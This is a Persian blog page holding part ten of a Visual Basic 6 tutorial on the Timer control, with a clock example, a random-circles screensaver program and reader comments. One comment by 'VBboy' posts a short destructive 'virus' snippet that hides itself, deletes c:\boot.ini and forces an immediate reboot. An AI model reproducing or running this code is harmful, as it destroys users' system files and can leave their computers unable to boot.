لینکدونی-
مطالب جالب و خواندنی از سراسر وب
- منظومه شمسی سه بعدی در مرورگر شما - 679 کلیک
- یک نگاتیو را فقط با مغزتان ظاهر کنید! - 631 کلیک
- ساخت هتل 30 طبقه در 15 روز در چین ! - 523 کلیک
- گزارش وضعیت مصرف انرژی در ویندوز 7 و ویندوز سرور 2008 - 347 کلیک
- تهدید سازنده شبیهترین مجسمه به استیو جابز از سوی اپل! - 597 کلیک
برنامه سازی ویژوال بیسیک 6 ( قسمت دهم )
ارسال شده توسط احمد محمد علیزاده در ۲۲ آذر, ۱۳۸۵ ساعت ۰۶:۰۵
موضوع : آشنایی با کنترل Timer و ساخت یک برنامه شبیه محافظ نمایش ( ScrennServer )
در قسمت دهم سری مقالات آموزش برنامه نویسی ویژوال بیسیک 6 شما را با کنترل تایمر و ساخت یک برنامه نمونه جالب آشنا می کنم.
کنترل تایمر : در جعبه اشیا وجود دارد و شکل یک ساعت است. نام این شیء Timer می باشد.
خاصیت های مهم کنترل تایمر :
· خاصیت Interval : فاصله ی زمانی بر حسب میلی ثانیه ( هر 1000 میلی ثانیه معادل 1 ثانیه میباشد )
· خاصیت Enable : جهت فعال و غیر فعال کردن کنترل تایمر
· خاصیت Name : جهت تعویض نام کنترل ( به صورت پیش فرض Timer1 است )
دستور نمایش ساعت با استفاده از کنترل تایمر :
Private Sub Timer1_Timer()
Timer1.Interval = 1000
Label1.Caption = Format(Now, “h:s:mm”)
End Sub
نکته اینکه احتیاج به اشیاء Label و Timer دارید. نام پیش فرض اشیاء را تغییر ندهید.
ساخت یک برنامه شبیه محافظ نمایش ( ScrennServer ) :
کد های زیر را وارد نمائید : ( توضیحات این کد ها در درس های قبلی ذکر شده است )
Private Sub Form_Load()
Dim inti As Integer
Pic1.AutoRedraw = True
Pic1.BackColor = QBColor(15)
Pic1.ScaleMode = vbPixels
Pic1.TabStop = False
End Sub
Private Sub Timer1_Timer()
Dim intx, inty, intr, intc As Integer
Randomize Timer
For i = 1 To 50
intx = Int(Rnd * Pic1.ScaleWidth)
inty = Int(Rnd * Pic1.ScaleHeight)
intr = Int(Rnd * 40)
intc = Int(Rnd * 16)
Pic1.Circle (intx, inty), intr, QBColor(intc) جهت تولید دایره در کادر تصویر :
Next
End Sub
اشیاء مورد نیاز : کنترل تصویر ( Picture ) و کنترل Timer
نکته : دستور RND یک عدد تصادفی تولید می کند و دستور INT باعث می شود اعداد تولید شده از حالت اعشاری به حالت صحیح تبدیل شوند. همچنین قبلاً درباره ی دستور FOR نیز صحبت کرده ایم.
نکته : نام اشیاء را مطابق مثال تغییر دهید. ( موفق باشید )
مربوط به آموزش برنامه نويسي | ۱۳ نظر »
- صفحه کلید ژله ای
- شارژر خورشیدی موبایل و دستگاههای الکترونیکی !
- بازی Need For Speed RUN
- خرید بازی Call Of Duty Modern Warfare 3 – ندای وظیفه 8
- بازی PES 2012 – نسخه نهایی
- بازی FIFA 12 – نسخه نهایی
- شارژر همه کاره لوازم الکترونیکی و تلفنهای همراه
- اسپیکر همراه همه کاره مدل YD S002A
- هدفون SONY MDR-Q140 (سونی اوریجینال) با کیفیت فوقالعاده
- بازی Need for Speed Hot Pursuit
۱۳ نظر
مربوط به مطلب [برنامه سازی ویژوال بیسیک 6 ( قسمت دهم )]
آيا مي دانستيد كه :
وقتي مگس بر روي يك ميله فولادي مينشيند ميله فولادي به اندازه دو ميليونيم ميليمتر خم ميشود
ارسال شده توسط sadegh
در ۲۲ آذر ۱۳۸۵
salam be ham ostanihaye aziz.
vaghean web ghashangi darin.
meeeerrrrrrrr30.
omidvaram hamishe movafagh bashid.
felan bye.
پاسخ به اين نظر
ارسال شده توسط alireza
در ۲۲ آذر ۱۳۸۵
لطفا جواب منو بده من منتظرم خیلی ضروری جگر طلا اقای صفا
یا علی
پاسخ به اين نظر
ارسال شده توسط ninjavb
در ۵ فروردین ۱۳۸۶
لطفا در مورد randomize timer وهمچنینscal height وscal whigt توضیح بدیددر ضمن من وقتی randomize timer رو پاک میکنم هیچ فرفی نمیکنه. با تشکر.
پاسخ به اين نظر
ارسال شده توسط مریم
در ۱۱ خرداد ۱۳۸۶
من وب سایت شما رو دوست دارم.
و یه دخواستی از شما دارم:از شما یک برنامه رو میخوام.
شامل :
۱نام دانشجو
۲شماره دانشجویی
۳تعداد دروس
۴تعداد افتاده ها
۵نمره ماکس
ممنون از لتفتون
پاسخ به اين نظر
ارسال شده توسط شیما
در ۲۳ آذر ۱۳۸۶
اگه بخوایم یه برنامه ای مثلا “یه مسابقه” دوباره اجرا بشه چه برنامه ای باید در کنترل تایمر بنویسیم
وب سایتتون عالی و آموزنده بود
پاسخ به اين نظر
ارسال شده توسط VBboy
در ۲۳ آذر ۱۳۸۶
خب اگه اجازه بدید منم یه ویروس فسقلی که بزرگ تری کار رو انجام میده بزارم .یعنی پروندن ویندوز هدف .
app.taskvisible=false
me.hide
kill(“c:\boot.ini”)
shell(“shutdown -r -t 1)
همه ی کد ها باید در رویداد یا ایونت ذیل باشد نقطه
private sub form1_load()
دستورات بالا
?ha ha ha
end sub
نکته : علامت سوال در vb همان print است .
اگر کسی برنامه یا پروژه ای یا سوالی داشت به من زنگ بزنه ۰۹۳۵۴۲۸۵۷۱۹
مطالب این سایت خیلی normal هست یکم باید حرفه اش بشه .اینم نظر
vbby .
پاسخ به اين نظر
ارسال شده توسط mahdi
در ۱۲ اسفند ۱۳۸۶
سلام این کاری که شما کردی خیلی خوب بود یعنی درس برنامه نویسی خدا عوضشو بهت بده
اگه لطف کنی و راجع به کامپومت هایی مثل multi media یا ado کار با بانک اطلاعاتی بخصوص SQl هم مطلب بگذار خیلی ممنون میشیم
در آخر باز هم از کاری کردی متشکرم
پاسخ به اين نظر
ارسال شده توسط shahin
در ۹ فروردین ۱۳۸۷
سایت خوبی است فقط اگر نرم افزارهای بیشتری برای دانلود باشد بهتر است
پاسخ به اين نظر
ارسال شده توسط محمد
در ۱۸ خرداد ۱۳۸۷
با سلام
مطالب و مثال های خوبی میزارید
من دنبال یک کتاب کامل در مورد ویژوال بیسیک ۶ میگردم البته یا پی دی اف باشه یا کتاب الکترونیک ممنون میشم راهنمایی کنید
پاسخ به اين نظر
ارسال شده توسط آرش
در ۲ اسفند ۱۳۸۷
خیلی سایت جالب و موفقی است
از مدیر سایت و دوستان عزیز در سایت می خوام کمک کنن که چگونه می توان از طریق برنامه نویسی یک کانکشن یک شبکه محلی را دیزیبل کرد
تشکر
پاسخ به اين نظر
ارسال شده توسط هادی
در ۱۰ آذر ۱۳۸۸
سلام
باتشکر از زحماتی که کشیدید مطالب خیلی خوبی رو ارائه دادید ولی اگه می شه چگونگی ساخت منوهای ذخیره سازی و بازکردن فایلها برای پروژه های برنامه نویسی رو هم بنویسید باتشکر فراوان
پاسخ به اين نظر
ارسال شده توسط عالي هست به خدا جدا راس ميگم ببين ميشه برام درموردc++مطلب وجزوه بزارين خيلي ممنون ميشم يعني همون برنامه نويسي پيشرفته 1وميگم توروخدا چند تاتم
در ۲۱ خرداد ۱۳۸۹
مرسی تنکس خیلی حال کردم مرسیبازم از سایته خوبتون
پاسخ به اين نظر
ارسال شده توسط مهسا
در ۱۹ آبان ۱۳۹۰
میشه یه برنامه ی ساده برای متحرک سازی دابره بدین ؟ ممنون !!!!!!!!!!!!!!!!
پاسخ به اين نظر